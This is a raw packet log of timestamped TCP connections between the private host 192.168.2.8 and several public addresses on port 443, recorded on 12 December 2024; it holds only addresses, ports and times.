Dec 12, 2024 16:47:13.464591026 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:13.769320011 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.769632101 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.769656897 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.770068884 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.770661116 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.770678043 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.770704985 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.770771027 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.771114111 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.771203041 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.771269083 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.771481991 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.771553993 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.813523054 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.813555002 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.813570976 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.860559940 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.954924107 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:13.955001116 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:13.955122948 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:13.956064939 CET	49811	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:13.956109047 CET	443	49811	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.071392059 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.071892023 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.071906090 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.072247982 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.072729111 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.072794914 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.126934052 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.656064034 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.656106949 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.656169891 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.656404018 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.656414032 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.816746950 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.816924095 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.817662001 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.817677975 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820070982 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820085049 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820166111 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820187092 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820194960 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820215940 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820307016 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820333004 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820436001 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820455074 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820465088 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820478916 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820528984 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820540905 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820559978 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820570946 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820650101 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820662975 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.820674896 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:14.820681095 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:14.834758043 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:14.834813118 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:14.835033894 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:14.835222960 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:14.835238934 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:14.919856071 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:14.919894934 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:14.920027018 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:14.920521975 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:14.920538902 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:14.920758963 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:14.921684980 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:14.921696901 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:14.921823025 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:14.921837091 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.056262970 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.056332111 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.057003975 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.057010889 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.058789015 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.058796883 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059067965 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059089899 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059165955 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059171915 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059237003 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059254885 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059341908 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059359074 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059386015 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059405088 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059407949 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059420109 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059432030 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059439898 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059458971 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059479952 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059551001 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059566975 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059591055 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059602022 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059628010 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059642076 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059911013 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059923887 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059951067 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059968948 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.059982061 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.059992075 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060009956 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060028076 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060087919 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060097933 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060122013 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060133934 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060278893 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060292959 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060309887 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060328960 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060363054 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060372114 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060391903 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060404062 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060540915 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060554028 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060574055 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060585976 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060605049 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060617924 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060661077 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060677052 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060739994 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060749054 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060813904 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060825109 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060842037 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060849905 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060866117 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060874939 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060892105 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060904026 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.060925961 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.060937881 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.061489105 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061526060 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061551094 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061578035 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061599970 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061600924 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061618090 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061674118 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061733007 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061752081 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061815977 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.061846972 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062010050 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062031984 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062047958 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062066078 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062081099 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062108994 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062216043 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062244892 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.062354088 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.103333950 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.104190111 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104341030 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104367018 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104445934 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104497910 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104623079 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104677916 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104697943 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104713917 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104768991 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104789019 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104804039 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104867935 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104888916 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.104942083 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.105021000 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.105047941 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.147330046 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.147880077 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148118973 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148194075 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148216009 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148274899 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148294926 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148312092 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148371935 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.148773909 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.195347071 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.299527884 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.299706936 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.299706936 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.299753904 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.299849987 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.299905062 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.338515043 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.339307070 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.339318037 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.343055010 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.343130112 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.343332052 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.344870090 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.344934940 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.345247984 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.345253944 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.393225908 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.420708895 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.420895100 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.420896053 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.420974016 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.421051025 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.421092987 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.467333078 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.472047091 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.472542048 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.472553968 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.473593950 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.474339962 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.474816084 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.474875927 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.474989891 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.475004911 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.518448114 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.539593935 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.539833069 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.539877892 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.539933920 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.540061951 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.540596008 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.540611982 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.540719032 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.541136980 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.541156054 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.541261911 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.541301966 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.541485071 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.541610003 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.583332062 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.583564043 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.583604097 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.586893082 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.587182045 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.587188959 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.588200092 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.588272095 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.588649035 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.588713884 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.588731050 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.588746071 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.588876963 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.589473009 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.589669943 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.589672089 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.589694977 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.589853048 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.590218067 CET	49819	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.590234995 CET	443	49819	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.590922117 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.590970993 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.591144085 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.591447115 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.591463089 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.627331018 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.643539906 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.643548965 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:16.658828020 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.658994913 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.659003019 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.659096956 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.659234047 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.659291983 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660211086 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660231113 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660361052 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660391092 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660422087 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660453081 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660453081 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660476923 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660495043 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660624981 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660641909 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.660707951 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660728931 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660763979 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660780907 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.660830975 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.662277937 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.662333012 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.662528038 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.662571907 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.662709951 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.664235115 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.664285898 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.664427996 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.664467096 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.664486885 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.664503098 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.664653063 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.664695024 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.690802097 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:16.703339100 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.703411102 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.703623056 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.703664064 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.706609011 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.706657887 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.706676960 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.706727982 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.706794024 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.707005978 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.747325897 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.777730942 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.777878046 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.777904034 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.778013945 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.781953096 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.782084942 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.782099962 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.782155991 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.782248020 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.782269001 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.783210039 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783258915 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783363104 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.783384085 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783397913 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783433914 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.783536911 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783546925 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.783688068 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783699036 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.783709049 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.784650087 CET	49829	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.784666061 CET	443	49829	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.785008907 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.785113096 CET	443	49826	116.203.10.31	192.168.2.8
